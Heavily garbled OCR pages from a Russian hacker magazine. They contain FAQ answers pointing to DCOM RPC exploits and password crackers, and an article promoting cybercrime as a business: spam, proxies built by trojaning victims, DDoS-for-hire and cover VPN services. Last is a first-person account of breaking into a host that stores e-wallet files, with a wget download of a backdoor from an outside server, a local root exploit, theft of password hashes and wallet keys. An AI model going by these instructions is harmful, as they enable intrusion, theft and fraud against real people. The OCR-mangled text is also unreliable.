довольно невыгодному курсу. 

($пллег_ 6: Юзеры Мака растут числом, а значит, и софта под со- 
ответствующую систему прибывает. Самый базовый варез, не 
надо смеяться, можно найти на МісгозоТТсот (мѵѵк.т/сго- 
5 оП.сот/тас/сІомпІоасІз.азрх). Неплохая подборка наиболее 
популярного Мак ПО доступна на сіомпіоасіз-гсіпеі.сот.сот. Бо- 
лее специфическое, заточенное на зесигіТу можно найти на 
ѵѵи /м.зесигетас.сот. Там же представлены самые последние 
зесигіТу-новости из Мас-индустрии и увесистые статьи. Если ты хо- 
чешь подойти к вопросу установки Тіге\л/аІГа максимально обсто- 
ятельно, следует посетить \м\лм/.Ше\л/аІІдиіде.сот, где вопросу 
Макинтошей отведена целая секция . По собственному опыту, 
при первых шагах в мире Мае оказывается полезным ресурс 
ѵѵил ѵ.тасѵ/іпсіоѵ/з.сот, посвященный интеграции Мака и Винды. 

&пллЛм_7: Баг далеко не свеж, можно даже услышать аромат его 
разложения. Как-никак, первая инфа о данной уязвимости при- 
писывается к 16 июля 2003 года. Баг присутствует во всех виндах, 
начиная с 95 и заканчивая Зегѵег 2003. Интерфейс ЭСОМ 9РС ви- 
сит на 135 ТСР/ІЮР-порте. Сервис бажит из-за неправильной об- 
работки запросов на активацию. Используя данную дыру, мож- 
но исполнить определенный, обыкновенно вредоносный, код на 
удаленной системе обладающей багом. Проблема может 
распространяться и на другие порты, куда может быть припи- 
сан РРС Епсіроіпі Маррег, то есть 139, 135, 445 и 593. В некоторых 
случаях сильно специфической конфигурации системы уязви- 
мая тема может быть найдена на 80 порту. Написать нужный 
эксплойт довольно просто; этим уже успели согрешить десятки 
кодеров, чьи нетленные ЭСОМ РРС творения можно разыскать 
на ѵѵѵт/.зѳсигіТу{осиз.сот/ЫсІ/8205/ехрІоіТ. Предложенные об- 
разцы похожи, словно сиамские близнецы, и лишь пара из них, 
вроде так называемого аиіогооіег'а, окажется достойной твое- 
го внимания. 



( ’$плліел_8 : Если я успел ознакомиться с той же версией генера- 
тора, то выпускаемые им емайлы не являлись совсем случайны- 
ми. Большинство из них имели генерированное имя юзера 
(изег@), которое потом прицеплялось к хосту известного пуб- 
личного майл-сервиса вроде ІіоТтаіІ.сот. Сгенеренные спис- 
ки емайлов некогда применялись для вбива в формы регистра- 
ции. Однако сейчас это оказалось менее актуальным в связи с 
высылкой регистрационной инфы на указанный е-таіі и замо- 
рочками по написанию слова/числа с указанного в регистра- 
ции діГа. Тема может оказаться более актуальной при генера- 
ции спам-листов, когда из тысячи придуманных адресов сотня 
оказывается рабочей. 

($аолйм_9: Будет логичным изучить сайт производителя и фору- 
мы службы поддержки. По собственному опыту я успел подру- 
жить БЗДюху с моим допотопным Раіт М125 при помощи ряда 



разных софтинок, которые идут сразу в портах дистрибутива. 
Радости следует искать в /изг/рогіз/раіт/соісізупс, /изг/роіТз/ 
раІт/дпотеріІоТ. /изг/рогТз/раІт/ріІоТ-Ііпк; другие полезные 
тулзы для Раіт можно найти почти там же — /изг/рогіз/раіт. 

($шѵлег_10: Большая подборка парольных крякалок имеется на 
ѵѵѵл/ѵ.раззѵѵогсі-сгаскѳгз.сот. Хочется отдельно отметить продукты 
скандально известной ЕІсотзоІТ ( ѵш/ѵѵ.еІсотзоП.сот ). Ежели 
представленные на сайтах продукты не подойдут, можно смело 
заставить Ооодіе'а искать для тебя добро по комбинации «разз- 
\л/огсІ гесоѵег» . Что же касается скорости, то все тот же сайт Риззіап 
РаззѵѵогсІ Сгаскегз настаивает, что работа от РаѵеІ Зепгуапоѵ (извест- 
ный публике по нашумевшей «Атаке на интернет»), которую ты мо- 
жешь добыть на на т/.ззі.зіи.пеѵа.ги/рзѵѵ, обладает наилучшими ско- 
ростными характеристиками. Если ты совсем крут (или хочешь стать 
таковым), внимания может удостоиться Разз\л/огсІ Сгаскег УЬгагу 
(ѵшѵ/.раззтогсІ-сгаскегз.сот/рсІ.ІіітГ). Это оказывается ядром для 
несложной сборки своего собственного крякера паролей. 

($плл&г_ 1 1 : Вероятно, у тебя стоит ѴѴІпсІо\л/з (юниксоиды обычно 
избегают подобных вопросов :), в которой некоторые сервисы 
открыли отдельные порты для своего функционирования. Про- 
исхождение открытости портов объясняет и способ их закры- 
тия: нужно отрубить ненужные сервисы. Часто, когда комп явля- 
ется частью локалки, в системе стоят сервисы для обслужива- 
ния других машин сети. Это может быть РТР, шары или другие 
схожие удовольствия. Нужны ли все они тебе? Если нет, то все 
бесполезное можно смело снимать с довольствия. Бывает и так, 
что в твоей системе открываются порты и без твоего ведома. 
Простым примером может быть ІсІепТсІ-сервис (113 порт), кото- 
рый иногда возникает при запуске ІРС-клиента. Если ты не мо- 
жешь объяснить происхождения вдруг открывшегося порта 
системы, будет разумным ознакомиться с документацией по 
новым софтинам твоей системы. 



(Зим. лйи._1 2: Вероятно, тебя интересует, какие ресурсы могут ока- 
заться доступны из инета. Рассмотрим базовый случай — непра- 
вильная конфигурация системы, когда из-за ошибок в настройке 
посторонний может получить доступ. Такое часто происходит при 
неправильном выделении пространства винта под расшарива- 
ние. Нет никакой нужды расшаривать весь диск С:\, тогда как те- 
бе нужно лишь дать доступ соседу по локалке к СЛРогпоРісз. В 
закладке «Общий доступ» следует посмотреть, какие юзеры или 
целые их группы прописаны на доступ к ресурсу. Самое губи- 
тельный выбор — «Все», когда любой может залогиниться в систе- 
му. Таблицы доступов к шарам следует просматривать время от 
времени, дабы не возникали сложности. То же касается политики 
ведения учетных записей: не следует создавать в системе лишних 
юзеров, открывать им доступ из инета. Понятно, что проникнове- 
ние в систему может случиться не только из-за шаров, но и отдель- 
ных серьезных багов винды, которые открывают поле для эксплой- 
терских движений. Так что не забывай про ѴѴІпсІоѵѵз ІІрсІаіеЧ^ 
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Разживаемся 

по-крупному 

У КАЖДОГО ЧЕЛОВЕКА ЕСТЬ ГЛАВНАЯ ЦЕЛЬ 
— НАЙТИ ВЫСОКООПЛАЧИВАЕМУЮ РАБОТУ. 
ПРАВДА, ДОСТИЧЬ ЕЕ УДАЕТСЯ ДАЛЕКО НЕ 
ВСЕМ. БЛАГОДАРЯ НЕЗДОРОВОЙ ЭКОНОМИКЕ 
И ЖАДНОСТИ ГОСУДАРСТВА, В РЕАЛЬНОЙ 
ЖИЗНИ МНОГО ЗЕЛЕНЫХ ПРЕЗИДЕНТОВ НЕ 
ЗАРАБОТАЕШЬ. НО ВЫХОД ЕСТЬ — НУЖНО 
УСТРОИТЬ СВОЙ БИЗНЕС В ВИРТУАЛЬНОЙ СЕ- 
ТИ. ГЛЯДИШЬ, ЧЕРЕЗ ГОД-ДРУГОЙ НАСОБИРА- 
ЕШЬ ДЕНЕГ НА ВИЛЛУ В СРЕДИЗЕМНОМОРЬЕ. 
И ЭТО НЕ ПУСТЫЕ СЛОВА, А МИНИМУМ ОТДА- 
ЧИ, НА КОТОРУЮ ТЫ МОЖЕШЬ РАССЧИТЫ- 
ВАТЬ I Докучаев Дмитрий ака РогЬ (ТогЬ@геаІ.хакер.ги) 



Создание 
сетевого бизнеса 



[интернет - это здорово!] Давай разбе- 
ремся, что же есть хорошего в сетевом 
!_ бизнесе. У любого интернет-течения есть 

і как минимум три достоинства, которые на- 

о прочь отсутствуют в реальном бизнесе. 



Ш Отсутствие каких-либо налогов и сбо- 
ров. Если ты организовал свой бизнес, то 
можешь забыть о страшных словах «нало- 
говая полиция» и «декларация». Контроль 
над прибылью в Сети еще не взят в крепкие 
1 руки государственных чиновников, поэто- 

н му весь доход от сделок достанется тебе, 

ш И только тебе :). 

* Ш Полная анонимность и безопасность. 

В отличие от повседневного бизнеса, ни- 
кто не принуждает тебя говорить кому-ли- 
бо свое имя, адрес, телефон и размер 
сапог. Все подобные данные ты можешь 
утаить и таким образом всегда оставать- 
з ся анонимным. 

^ [з] Безграничная прибыль. Каждый вид сете- 

Р вого бизнеса при правильном его развитии 



приносит баснословный доход. Примерные цифры оного соста- 
вляют от 3 до 15 тысяч долларов в месяц. Согласись, ради такой 
прибыли стоит подумать об открытии своего дела. 

[хочу быть спамером] Ну ты и мерзавец! Поймаю — ноги выдеру. 
В самом деле, спам уже достал абсолютно всех. Готов поспо- 
рить, что и в твой почтовый ящик ежедневно сыплется по полсотни 
сообщений, в которых тебя просят выучить американский англий- 
ский, купить офигительный набор отверток или приобрести опто- 
вую партию свинины по дешевке. Получая подобный мусор, ты, 
конечно же, психуешь и думаешь, где же тебя угораздило засве- 
тить свой е-таіі. Но прежде чем так нервничать, подумай о том, 
как же хорошо живется организаторам рассылок. Я говорю не о 
самих фирмах, продающих отвертки, а о тех людях, кому поступа- 
ют заказы на спам. Давай разберемся, насколько реально сам- 
ому стать спамером и рассылать вредоносные сообщения по 
всему миру. Небесплатно, конечно. 

Немного углубимся в теорию. Весь бизнес сводится к тому, что 
спамер ищет богатого спонсора, рекламирует его товар по 
большой базе мыльников и получает за это огромные деньги. 
Особенность этого бизнеса в том, что спам как реклама ориен- 
тирован на интернет и в основном продвигает товары, так или 
иначе связанные с инетом, — сайты порнографического содер- 
жания, какие-то финансовые услуги, казино, интернет-магазины, 
компьютерное железо и прочее. 

Сами спамеры могут быть как просто вольнонаемными, так и соб- 
ственно хозяевами своих ресурсов. Хотя чаще всего эти люди 
все-таки просто наемники, работающие под процент от продаж 
или за фиксированные деньги. Следует обратить внимание, что 
новичку проще быть вольнонаемным, потому как для собственно- 
го бизнеса требуются большие капитальные затраты. Пожалуй, 
это один из самых значительных минусов прибыльного течения. 
Основные проблемы, с которыми столкнется спамер, сводятся к 
информационному голоду и обходу антиспам-систем. Все 
остальное решается с помощью денежных средств. Итак, вот что 
нужно, чтобы стать спамером: 

Л] Знать теоретическую часть. С теорией по спаму очень напряж- 
но. Профессионалы советуют искать информацию на открытых 
форумах либо платить бывалому спамеру за обучение. Во втором 
случае нет ничего зазорного, и многие так поступают. 

Л] Подготовиться к большому первоначальному вложению. Чтобы 
начать свой бизнес, тебе потребуется арендовать специальный 
ѴЛЗ (выделенный сервер); купить многофункциональный спамер- 
ский софт, обходящий антиспам; приобрести базу е-таіГов и со- 
ксов либо купить спам-ботнет, который сделает всю грязную ра- 
боту автоматически. В любом случае, придется заплатить от 
$2500. И не факт, что эти деньги окупятся. 

_з] Найти богатого и надежного спонсора. Многие фирмы, на ко- 
торых ты работаешь, оказываются обычными кидалами. То есть ты 
можешь честно (или не совсем честно) зарекламить их товар и 
быть посланным на три буквы. Для новичка такой расклад может 
оказаться губительным, поэтому необходимо обзавестись чело- 
веком, который способен найти платежеспособного спонсора. 
И Позаботиться о собственной безопасности. Необходимо регу- 
лярно покупать ѴРІЧ-доступ, иметь свежий лист анонимных ргоху- 




Обычный выделенный сер- 
вер, в отличие от виртуально- 
го, представляет собой от- 
дельно взятый сундук, поме- 
щенный в стойку на хостинго- 
вой площадке. Виртуальный 
же сервер — это эмулятор 
05, аналогичный ѴтпѴѴате. 




Открытый спам-форум на- 
ходится на сайте бПр://до- 
ІцскуоитзеІІ.сот. Кардер- 
ские форумы ищи в Гугле, 
правда, среди ответов пои- 
сковика очень мало полез- 
ных ссылок. 



\ I / 




/ I \ 



Не стоит забывать, что все 
действия хакера противоза- 
конны и эта статья предназ- 
начена лишь для ознако- 
мления и организации пра- 
вильной защиты с твоей 
стороны. За применение 
материала в незаконных 
целях автор и редакция от- 
ветственности не несут. 




В настоящее время в интер- 
нете нет жесткой конкурен- 
ции, поэтому ничто не меша- 
ет тебе организовать свой 
сервис и быть на высоте. 



и зоскз-серверов (о людях, 
предоставляющих эти серви- 
сы, мы поговорим чуть позже). 
Только в этом случае ты избе- 
жишь проблем с законом. 
Оплата спам-услуг произво- 
дится, как правило, через 
ѴѴеЬМопеу ( ѵѵеЬтопеу.ги ) или 
РеТНагсІ ( ГеТГюгсІ.Ыг ), если 
спонсор русский, однако при 
сотрудничестве с зарубежны- 
ми компаниями деньги шлются 
ваером (международным 
банковским переводом). Нес- 
мотря на высокую стоимость 
(до $40), деньги доходят в те- 
чение недели. Такой перевод 
лучше всего отправлять в зару- 
бежный банк, например лат- 
вийский. С российскими бан- 
ками связываться категориче- 
ски не рекомендуется, по- 
скольку будет куча ненужной 
волокиты: потребуется тащить 
в офис документы и оправды- 
ваться перед службой безо- 
пасности, убеждая ее в том, 
что заработок вполне зако- 
нен. Поскольку в нашем слу- 
чае полученные деньги нельзя 
считать честным заработком, 
с отечественными банками 
лучше не связываться. 



большинство клиентов будет покупать услугу для грязных целей: 
взлома, спама, кардинга и т.п. 

Необходимо также поразмыслить над правильной организаци- 
ей взаимодействия с клиентами. Сам сервис подразумевает 
тот факт, что покупатели должны авторизоваться на \л/еЬ-сайте 
и выбрать нужный прокси-сервер из списка доступных. В связи 
с этим тебе необходимо иметь познания в РегІ, РНР или других 
\л/еЬ-языках, чтобы наколбасить движок с хорошим интерфей- 
сом. Важно уделить особое внимание сортировке проксиков 
по географическому признаку — клиенты это очень любят :). 

Ну и напоследок скажу о реальном доходе, который можно сру- 
бить через зоскз- и ргоху-бизнес. Средняя цифра составляет две- 
три тысячи зеленых (при цене $30/месяц) и может экспонен- 
циально подниматься вверх в зависимости от качества сервиса и 
количества клиентов. Согласись, неплохой заработок :). 

[вся сила в ѴРЫ] Большим плюсом зоскз-бизнеса является то, что 
тебя как организатора будет сложно схватить за задницу, если 
клиентами заинтересуются спецслужбы. Но за удовольствие при- 
ходится платить: чтобы встать на ноги и иметь порядка 500-1000 
быстрых проксиков, нужно учиться, учиться и учиться :). Существу- 




[свежие носки за $30] Фраза из заголовка вызовет у непосвя- 
щенного человека громкий смех, но на самом деле ничего аб- 
сурдного в ней нет. Носки в нашем случае означают доступ к 
зоскз-серверу, который предоставляется специальными серви- 
сами. Обычно организаторы такого бизнеса дают своим клиен- 
там неограниченный доступ к зоскз и ргоху-серверам, которые 
установлены в разных точках земного шара. Ты можешь задать 
мне один простой вопрос: где они берут столько серверов? От- 
вет прост как мир и напрашивается сам собой: организаторы 
бизнеса троянят случайных жертв специальной программой, 
которая тихо и спокойно светит порты для внешних подключе- 
ний. Естественно, такой доступ не является постоянным — зоскз- 
серверы часто падают, но на смену им приходят новые. И этот 
круговорот протекает бесконечно. 

Если ты захотел устроить свой зоскз-бизнес, то необходимо найти 
приватный баг в ІЕ (как вариант) и попытаться записать его код в 
контент популярных сайтов. В результате очень много народу под- 
хватит проксик, которым будут пользоваться будущие покупатели. 
Клиентов тоже придется поискать. Как правило, чтобы привлечь 
внимание, нужно дать рекламу на сетевых форумах, посвящен- 
ных безопасности. Причем эта реклама не будет противозакон- 
на: ты же не афишируешь, что твой ргоху-сервер будет использо- 
ван хакерами. На самом же деле будь готов, что подавляющее 



[сайт, где можно купить анонимный ѵрп-доступ] 

ет более опасная, но легко реализуемая альтернатива зоскз-биз- 
несу. Это открытие своего ѴР[\І-сервиса. 

Про технологию ѴРЫ мы уже писали не раз. На страницах X ты 
встречал теорию туннельного протокола, а также настройку всех 
программ для полноценной работы через протокол РРР. Оста- 
лось подытожить эти материалы практическим руководством. 
Стать ѴРКІ-бароном, на мой взгляд, проще, чем продавцом зоскз- и 
ргоху-серверов. Дело в том, что для организации подобного бизне- 
са необходимо купить выделенный сервер и найти администрато- 
ра, который бы прикрывал твои злые деяния. Вот, собственно, и все. 
Но найти хороший дедик не так просто. Для таких целей нужно, 
чтобы сервер находился либо в США, либо в азиатских странах. 
Последний вариант наиболее предпочтителен, но труднореали- 
зуем. В общем, с самого начала требуется заявить на нескольких 

форумах о том, что ищется хо- 
стер в Азии или Штатах. Затем, 
когда такой человек найдется, 
его нужно посвятить в суть во- 
проса и купить сервер с мощ- 
ным каналом. Самое главное, 
чтобы сервак не был виртуаль- 
ным — из соображений безо- 
пасности. Когда сервер будет 
готов к эксплуатации, нужно 
установить весь необходимый 
софт и приступать к раскрутке 
сервиса. Рекламу можно да- 
вать на тех же форумах (только 
предварительно согласуй этот 
вопрос с администратором 
портала). 

С того момента, как на попече- 
нии будет находиться более 
двадцати клиентов, нужно соз- 




[типичный сайт зоскз-сервиса] 




[хакер 05 [77] 05 > ВЗЛОМ 045 ] 






[ХАКЕР 05 [77] 05 > ВЗЛОМ 046 ] 




давать и раскручивать сайт, посвященный сервису. Каждого но- 
вого клиента следует просить о том, чтобы он оставил отзыв в го- 
стевой книге, так как посетители сайта в первую очередь загляды- 
вают туда в поисках сообщений о качестве сервиса. И самое 
главное правило — никогда на экономь на клиентах. Проводи 
ежедневные замеры канала, и если скорость начинает медлен- 
но падать, покупай второй выделенный сервер. Исходи из форму- 
лы: если на сервере стомегабайтный порт, то разрешается са- 
жать на машину до пятидесяти клиентов. Далее начинаются лаги. 
Хотя здесь все зависит от пользователей: далеко не каждый юзер 
24 часа в сутки совершает неправомерные сетевые махинации. 
Помимо контроля скорости, необходимо ежемесячно (как мини- 
мум!) менять ІР-адрес машины. Для этого совсем не обязательно 
менять хостинг или сервер, достаточно просто запросить уникаль- 
ный айпишник у саппорта, благо большинство компаний дает ад- 
рес на халяву. У клиента сложится впечатление, что админ действи- 
тельно заботится о безопасности, а не пропивает всю прибыль :). 

В заключение подсчитаем реальный доход от ѴРЫ-бизнеса. Если 
исходить из средней абонентской платы за месяц в $40, то за этот 
же период у тебя в кошельке может оказаться от одной до трех ты- 
сяч зеленых долларов :). Тут, опять же, все относительно, и цифра 
может меняться в зависимости от количества клиентов. 

[зарабатываем на ООоЗ-атаках] В последнее время одним из 
прогрессивных сервисов становится ОРоЗ. Существует по- 
требность в том, чтобы определенный сайт перестал суще- 
ствовать на некоторое время. Для этого злоумышленник обра- 



[ДРУГИЕ СЕРВИСЫ] 

Существуют и другие сервисы, на которых зарабаты- 
вают большие деньги. В первую очередь, это кардинг. 
В России полно кардеров, и все они очень богатые лю- 
ди. Я умышленно не стал писать про то, как стать Кар- 
дером. Подобный материал уже описывался в журна- 
ле, поэтому если ты что-то не понял или упустил - чи- 
тай прошлые выпуски X. 

Также есть такой сервис, как взлом на заказ. Объеди- 
нившись, команда хакеров предлагает свои услуги и 
берет за это немалые деньги (от $300 за взлом). Для 
того чтобы проникнуть внутрь системы, им нередко 
требуются приватные эксплойты и уязвимости. Злоу- 
мышленники их покупают у своих собратьев по разуму 
либо пишут свои эксплойты. 

И наконец, хочу еще раз написать про кидал. Кидалы 
в Сети встречаются очень часто, и каждый человек бо- 
ится напороться на кидалу. На одном из хакерских фо- 
румов я увидел рекламу сервиса физического устра- 
нения кидал :). Любой желающий указывает ник, аську 
и адрес человека, и группа контртеррористов немед- 
ленно устраняет негодяя. Конечно же, выяснилось, что 
все это глупый флейм и попытка наживиться на нес- 
частных жертвах. 



щается к владельцу сервиса и платит ему за то, что- 
бы он зафлудил указанный ІР-адрес. 

Если ты думаешь, что это течение не приносит боль- 
шой прибыли, ты ошибаешься. Здесь платят уже не за 
месяц, и даже не за день, а за час атаки. По средним 
меркам час флуда стоит от $30 до $50. И эта сумма ин- 
дивидуальна для каждого сервиса. 

Итак, как же стать организатором ООоЗ-сервиса? Для 
этого необходимо, в первую очередь, обзавестись 
флуд-ботами. Здесь, опять-таки, существует два подхо- 
да: можно либо арендовать ботнет на месяц и платить 
за него свои деньги, либо протроянить иностранных 
юзеров и создать свою сеть. Второй путь очень похож 
на организацию зоскз-сервера, где также необходи- 
мо троянить жителей глобальной Сети (правда, уже с 
другой целью). Когда у тебя будет зрелый ботнет (хотя 
бы тысяча ботов), можно попробовать свои силы во 
флуде. Только помни, что даже тысяча ботов не сможет 
противостоять широкому гигабитному каналу. 

Однако не одними ботами славится флудер. Атаки 
могут производиться с порутанных роутеров (какое 
красивое словосочетание :)) либо с зомбированных 
ипіх-машин. Получить доступ к подобным системам 
непросто, но в дальнейшем можно будет незаметно использо- 
вать их для генерации мусорных пакетов. В отличие от ботов, ко- 
торые часто умирают, доступ к шеллу при правильном приме- 
нении сохраняется на долгие годы. 

[куда пойти, куда податься?] Вот такой список сервисов я могу те- 
бе предложить на данный момент. Какой выбирать — решать те- 
бе. Но я бы не советовал браться за такие грязные дела, потому 
что если тобой заинтересуются люди в погонах, то могут посадить 
в тюремную камеру на несколько лет, благо Уголовный кодекс 
еще никто не отменял. Поэтому будь умницей, кушай манную ка- 
шу и не нарушай законов © 



[ЛЕГКО ЛИ БЫТЬ ОЛИГАРХОМ?] 

Вот фрагмент интервью со спамером 8уп (3). Здесь 
изложены самые сочные ответы на вопросы по поводу 
сетевого бизнеса. 

X: Каков средний возраст процветающего спамера? 

3: Тут нет однозначного ответа. Я знаю человека, кото- 
рому 1 6. Одному спамеру с сгиіор.пи сейчас около 1 8- 
19 лет от роду, а по слухам он имеет явно больше 
$1 00к в месяц =). Этот человек правильно начал — соз- 
дал партнерскую программу на пике эффективности 
спама и полученные деньги вложил в более долгосроч- 
ные проекты. В целом, те, кому около тридцати, — это 
элитные спамеры. Таких все знают и часто просят поу- 
частвовать в сделках в качестве гаранта безопасности. 
X: Можешь сказать, какие капиталовложения нужно 
сделать новичку? 

8: Хм, считаем по максимуму: аренда сервера — око- 
ло $300 в месяц, плюс установка сервера — $100. Да- 
лее возможны два варианта: 

ЦДЛ Аренда ЭМЗ (лучший софт для спамера) на один 
сервер — $1200 в месяц, плюс покупка сокс-прокси - 
это около $800. 

в) Покупка (аренда) ботнета — это $900 ($3000), плюс 
покупка ботов — минимум $400. 

Далее — приобретение баз — тут минимум $500, хотя 
нормальные базы еще поискать надо. И конечно же, 
покупка балк-хостинга (где будут располагаться рекла- 
мные страницы) — $150 в неделю минимум. 

Если все это суммировать, получим нескромную ци- 
фру в $2500-4000. 

X: Как ты сам начинал собственный бизнес и какая 
была первая прибыль? 

3: Долго читали «Планету», потом собрались коман- 
дой в три человека и начали =). Поначалу были про- 
блемы с кидалами (из трех-четырех партнеров за ме- 
сяц работы расплачивался только один), но потом биз- 
нес стабилизировался. Что касается вложений, то их 
было очень немного. А лучшие месяцы работы прино- 
сили около $40 000. К сожалению, сейчас такого нет. 





Данная услуга доступна для определенного типа 5ІМ-карт. 

Оборудование сертифицировано. Лицензии Госкомсвязи №№ 8758, 10005, 
14707, 14708, 14709, 14710, 23071, 23072, 25340, 25341, 23706, 24303, 27744. 




0 завтрашнем хите Билайн 

в мобильном сегодня 

Самые свежие новости музыки в твоем телефоне. 

«Хамелеон» от «Билайн». 

5 каналов информации 
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Подробности на сайте шшѵѵ.ЬееІіпе.ги 
и по телефону 06058 
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ЮНИТЫ КРЕАТИФФ КОДИНГ ІІМХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20ЫЕ РЕВРШМ НЬЮСЫ 




Обязательно посети сайты 
этих платежных систем: 
шш.ероПл і 
шшш.субегріаі.ш 
шшш.шебтопеу.ги. 

На них ты получишь исчер- 
пывающую информацию и 
ответ на любой твой во- 
прос. 




На нашем диске ты най- 
дешь полные версии про- 
грамм, упомянутых в этой 
статье. 





Захват 

ехсЬапде-центра 

ДОЛЛАРЫ, ЕВРО... МИРОМ ПРАВЯТ ДЕНЬГИ, 

И ЭТО ФАКТ. ВСЕ МЫ ПРОДАЕМСЯ В ТОЙ 
ИЛИ ИНОЙ СТЕПЕНИ, ЧТОБЫ ЗАРАБОТАТЬ 
ХОТЬ ЧУТОЧКУ БОЛЬШЕ ЭТИХ САМЫХ 
УСЛОВНЫХ ЕДИНИЦ. И ОТ ЭТОГО НИКУДА 
НЕ УЙТИ — ДЕНЬГИ НУЖНЫ НАМ, ЧТОБЫ СУ- 
ЩЕСТВОВАТЬ. НО ЗАРАБАТЫВАТЬ БАБЛО 
МОЖНО РАЗНЫМИ СПОСОБАМИ: МОЖНО 
ЧЕСТНО ВПАХИВАТЬ В КОНТОРЕ С ДЕВЯТИ 
ДО ПЯТИ, МОЖНО ОТКРЫТЬ СВОЙ БИЗНЕС, 

А МОЖНО ПРОСТО ОГРАБИТЬ КАКОЙ-НИ- 
БУДЬ ЭЛЕКТРОННЫЙ ОБМЕННИК И ПРО- 
ЖИТЬ ОСТАТОК ЖИЗНИ НА ЯМАЙКЕ. ТЫ ГО- 
ВОРИШЬ, ЭТО СЛОЖНО? НЕ СМЕШИ МОИ 
КОЛЕНКИ! I Зазбікз (ІиЬітоѵѵ@іпЬох.ги) 



Как был взломан 
сетевой обменник 

[пролог] В один из теплых весенних вечеров 
я сидел на своем любимом ігс-канале и 
болтал о всякой ерунде. За окном было, ка- 
залось, настоящее лето: 15 градусов тепла 
после мартовских холодов вызывали бурю 
эмоций и прилив весенней эйфории. Даже 
остатки грязного снега на обочинах дорог 
не портили общего настроения. Мне хоте- 
лось заняться чем-то креативным, творче- 
ским, например взломать какой-нибудь 
сайт :). Я думал об этом, и тут ко мне в при- 
ват постучался незнакомец. Чел хотел что- 
то у меня выяснить. Вопрос был банальный: 
чувак спросил, каким образом можно 
скомпилировать эксплоит. Я подробно 
объяснил, что в большинстве случаев соби- 
рать надо так: дсс ехріоф.с -о ехріоіі — и 
запускать, соответственно: ,/ехр/о/Г Но у 
чела опять возникли проблемы :(. Я решил 
помочь и попросил дать линк на сервер, 
где, собственно, упражнялся мой подопеч- 
ный. Оказалось, что этот товарищ залил 
рЬр-шелл на сайт, торгующий постерами к 




новым зарубежным фильмам (ѵѵѵюѵ.е-ро- 
зіегз.ги). Недурно! Сайт выглядел очень со- 
лидно, правда, не радовал обилием 
скриптов. Я по привычке принялся отыски- 
вать уязвимые сценарии, модифицируя 
управляющие переменные, но ничего пу- 
тевого у меня не получалось. Однако вско- 
ре я заметил форум рГірВВ, и мне стало яс- 
но, каким образом этот необразованный 
чухан залил на хост \л/еЬ-шелл. 

Я перешел по ссылке на гзТ-шный шелл с пра- 
вами вебсервера и подумал, что сейчас 
начнется самое интересное. И интуиция 
меня не подвела. 

[интересная история] Итак, чем я распо- 
лагал? Я узнал, что машинка работает под 
линуксом с ядром ветки 2.4. Вывод: можно 
попробовать порутать машину с помощью 
паблик сплойтов для тгетарО, сІо_Ьгк() 
или рІтасеО. Но сначала нужно было полу- 
чить доступ к рабочему интерпретатору в 
системе. Для этих целей можно было за- 
лить на хост стандартный бэкдор на С или 
на РегІ. Но все эти бэкдоры жутко неудоб- 
ные — в них недоступны основные комби- 
нации клавиш, да еще к тому же они очень 
часто глотают некоторые чары и виснут в 
самый ответственный момент :(. На роль 
бэкдора больше подходит псевдотерми- 
нал, который поддерживает большую 
часть стандартных функций. Я скачал 
ЬіпсНІу (ѵѵдѳі Шр://дзі.ѵоісі.ги/ехр/ЫпсІііу - 
О /изг/ітр) и запустил бэкдор. Прителне- 
тившись к порту ЬіпсІТТу (2163 по дефолту), я 
убедился в том, что все работает как часы . 
На всякий пожарный я решил просканиро- 
вать хост с помощью птар ( Ігіір://іпзеси - 
ге.огд/птар ). Оказалось, что на сервере 
крутятся только стандартные сервисы: ззГі, 
почта, \л/еЬ — ничего лишнего. Ах да, на 
машине не был запущен файрвол (есте- 
ственно, дурень, как бы ты тогда к бэкдору 




[ѵѵѵѵѵѵ.е-розіегз.ги — один из сайтов на уязвимом хосте] 



приконнектился? — Прим, здравого рассудка). В директории /изг/ітр я увидел стран- 
ные архивчики типа гооі.ідг, ЬооГ.Гаг.Ідг, Іате.Гдг. Очень интересно! На что это похоже? 
Правильно — на заархивированные директории /Ьооі и / гос )і. Не раздумывая, как они 
там оказались, я скачал себе все эти файлы на винчестер в надежде найти хоть какую- 
нибудь полезную инфу. Но, к сожалению, в архивах ничего хорошего не оказалось :(. В 
них просто находилась куча эксплойтов против различных демонов (в основном паблик 
эксплойты против ГІрсІ и некоторых других популярных сервисов, хотя все из них устаре- 
ли и давно утратили свою актуальность). 

Так, надо удалить нафиг это палево из каталога. Я протестировал пару локальных сплой- 
тов против ядра линукс. В ход пошел эксплоит ѵѵѵѵѵѵ.ѵѵеЬ-іюск.ги/ехріоіі/зоигсе/іісііо- 
гііюто.с для древней уязвимости в сІо_ЬгкО- Это очень популярный сплойт, который ра- 
ботает на многих тачках с установленным дІІЬс-сіеѵеІ-зІаІіс. Еще раз напоминаю, что 
компилировать исходник надо с флагом -зІаИс. Итак, собрав и запустив сплойт, я полу- 
чил рутовый доступ: иісі=0(гооі), а это было уже маленькой победой. 

[ложка меда] На взломанном компьютере хостилось несколько крупных сайтов, а коли- 
чество сетевых интерфейсов, если верить команде ІГсопГід, перевалило за десяток (и ку- 
да им столько? — Прим. ред.). На всякий случай я засуидил простенький бэкдор, пере- 
именовал его во что-то вроде **и1ІІз и спрятал поглубже в /ітр. Также в целях профилак- 
тики я стащил себе / еіс/зкюсіоѵѵ с хэшами пользовательских паролей. Благо, у юзеров 
было небогатое воображение, и пассворды они использовали несложные: уже через 
полчаса Тоітп Ніе Еіррег подобрал несколько аккаунтов. Довольно интересно будет 
прогуляться по директориям сервера. Так как обстановка была спокойной, на машину 
администратор заглядывал очень редко, была возможность немного поизучать структу- 
ру каталогов. В папке /изг/іосаі/арасііе я увидел список множества каталогов, в которых 
и хранились \л/еЬ-страницы, Я уже хотел продолжить свое путешествие, как вдруг заме- 
тил папку с названием езііорз. Очень интересно, и что у нас там? В ней находятся под- 
папки ѴѴМ, суЬегрІаІ, ерогі... Ничего не напоминает? Правильно! Тут хранится информа- 
ция о счетах в соответствующих платежных системах! Я быстренько заархивировал все 
файлы: іаг -гсі 4.іаг.дг * ;ср /изг/ІосаІ/арасііе/ііісІосз/ѵѵѳЬ/; гт - іі4 ' — и слил себе архив. 
Осталось только разобраться с его содержимым. Внутри папки ѴѴМ я обнаружил три 
файла: ѴѴМЗідпег.іпі, кеуз.к\л/т, ѴѴМЗІдпег (бинарник). Я вообще не имел представления 
о том, что это такое, и почему нет файла ,р\л/т. Пришлось искать необходимую инфор- 
мацию в интернете, а именно на сайте ѵѵѵѵѵѵ.ѵѵѳЬтопѳу.ги. Где как не на родном сайте 
платежной системы будет все подробно расписано. 

